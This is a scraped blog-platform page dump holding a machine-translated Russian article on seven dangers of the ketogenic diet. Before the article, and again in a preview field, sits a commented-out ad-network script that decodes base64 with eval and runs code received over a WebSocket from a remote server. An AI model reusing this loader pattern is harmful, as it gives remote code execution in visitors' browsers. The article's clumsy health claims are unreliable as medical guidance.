\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>\x3cstrong>Кетогенные диеты\x3c/strong> воодушевляют много споров с медицинскими специалистами и диетологами, взвешивающими все за и против. Часто рассматриваемая как краткосрочная проблема, низкоуглеводная диета по-прежнему имеет большую поддержку. Healthline утверждает, что многие сторонники ссылаются на такие преимущества, как быстрая потеря веса и повышение уровня сахара в крови. Также было много сторонников кето, которые указывают на преимущества для пациентов с состояниями, связанными с мозгом. В той степени, в которой этот план с низким содержанием углеводов уменьшает потребление обработанных продуктов и нездоровых углеводов, есть неоспоримые преимущества для здоровья, как и во многих других диетах\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>Несмотря на некоторые из положительных преимуществ этого вида диеты, есть определенные опасности, которые необходимо учитывать.\x3c/p>\n\x3cp>\x3cstrong>Ниже приведены основные опасности кетогенной диеты:\x3c/strong>\x3c/p>\n\x3cp>1. Низкий уровень сахара в крови является возможной проблемой.\x3cbr />Диабетики могут прыгать от радости от идеи низкого уровня сахара в крови, но, по правде говоря, это может быть неудобно. Причина этого состояния заключается в том, что ваше тело использует жир вместо углеводов для энергии в плане приема пищи с низким содержанием углеводов. Симптомы низкого уровня сахара в крови — усталость и головные боли. В большинстве случаев уровень сахара в крови возвращается к норме, а симптомы исчезают через несколько дней.\x3c/p>\n\x3cp>\x3cstrong>2. Уровни гидратации будут страдать.\x3c/strong>\x3cbr />Обезвоживание — это проблема, связанная с диетами с низким содержанием углеводов. Это означает, что ваше тело истощается от гликогена, и за каждый грамм гликогена теряется 3 грамма воды. Когда почки вымывают лишнюю воду, электролиты, необходимые вашему телу, такие как кальций, калий, магний и натрий, также смываются, что может привести к дефициту витаминов. Другим симптомом обезвоживания является камни в почках.\x3c/p>\n\x3cp>\x3cstrong>3. Возможное развитие ацидоза.\x3c/strong>\x3cbr />Во время кетоза ваша кровь может стать кислой. Обычно эта проблема является временной, так как ваш организм подстраивается. Мониторинг этой ситуации рекомендуется, так как длительный период ацидоза может привести к разрушению кости или камням в почках.\x3c/p>\n\x3cp>\x3cstrong>4. Недостаточность питательных веществ, вероятно, без добавок.\x3c/strong>\x3cbr />Стратегически употребляя в пищу продукты, богатые питательными веществами, для получения необходимых витаминов и минералов требует определенных усилий. Вот почему так много диетологов принимают добавки, чтобы убедиться, что они получают то, что им нужно. Долгосрочные дефициты питательных веществ могут привести к проблемам со здоровьем. Количество рекомендуемых добавок зависит от человека. Консультация с диетологом для решения этой возможной проблемы имеет смысл.\x3c/p>\n\x3cp>\x3cstrong>5. Планы с низким содержанием углеводов трудно поддерживать с течением времени.\x3c/strong>\x3cbr />Люди скучают по углеводам и затрудняют поддерживать низкокалорийную диету. Еда — это гораздо больше, чем топливо для тела. Это эмоциональная проблема, и может быть трудно отказаться от любимых продуктов в долгосрочной перспективе. \x3c/p>\n\x3cp>\x3cstrong>6. После низкоуглеводной диеты меню с высоким содержанием жира приводит к похудению, которое не является долговечным.\x3c/strong>\x3cbr />Это означает, что вы не становитесь здоровее. В то время как весы рисуют картину потери веса, это в основном вода, которую вы теряете. Как только вы вернетесь к своим старым привычкам, вес быстро вернется. Многие медицинские работники и диетологи считают, что единственными диетами, которые работают в долгосрочной перспективе, являются диеты, которые становятся изменениями образа жизни.\x3c/p>\n\x3cp>\x3cstrong>7. Запор — неудобный побочный эффект, который является общим.\x3c/strong>\x3cbr />Из-за ограниченного потребления клетчатки с низкоуглеводными диетами обязательно придут запоры, если вы не будете осторожны при принятии профилактических мер. Хорошей новостью является то, что диеты могут справиться с этой проблемой, увеличивая потребление жидкости. В худших случаях средства для смягчения стула также могут использоваться для устранения этой проблемы\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>\x3ca href=\"https://www.powerofpositivity.com/ketogenic-diet-dangers/\" target=\"_blank\">Источник\x3c/a>\x3cbr />Перевод и адаптация — \x3ca href=\"https://fithacker.ru/\" target=\"_blank\">Фитхакер\x3c/a>\x3cbr />Фото — \x3ca href=\"https://images5.cosmopolitan.ru/upload/img_cache/eeb/eeb25370dd3d265489864a9817ea0206_fitted_740x0.jpg\" target=\"_blank\">images5.cosmopolitan.ru\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43425541240","tags":["жиета","кето","список","Здоровье","опасность","за и против"],"date":1536496932,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20900460495,"photo_original":"https://mtdata.ru/u20/photo6890/20900460495-0/original.jpg","width":696,"height":462}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/7-opasnostey-ketogennoy-dietyi-o-kotoryih-vyi-dolzhnyi-znat/","topic":"health","title":"7 опасностей кетогенной диеты, о которых вы должны знать","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-09T12:42:12.000Z","ver1":"9 сентября, 15:42","ver2":"09.09.2018 в 15:42","ver3":"9 сент., 15:42"},"images":[{"main":true,"url":"https://mtdata.ru/u20/photo6890/20900460495-0/original.jpg","width":696,"height":462}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"жиета","tagId":80098544817,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"channelId":null,"isMobile":false,"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}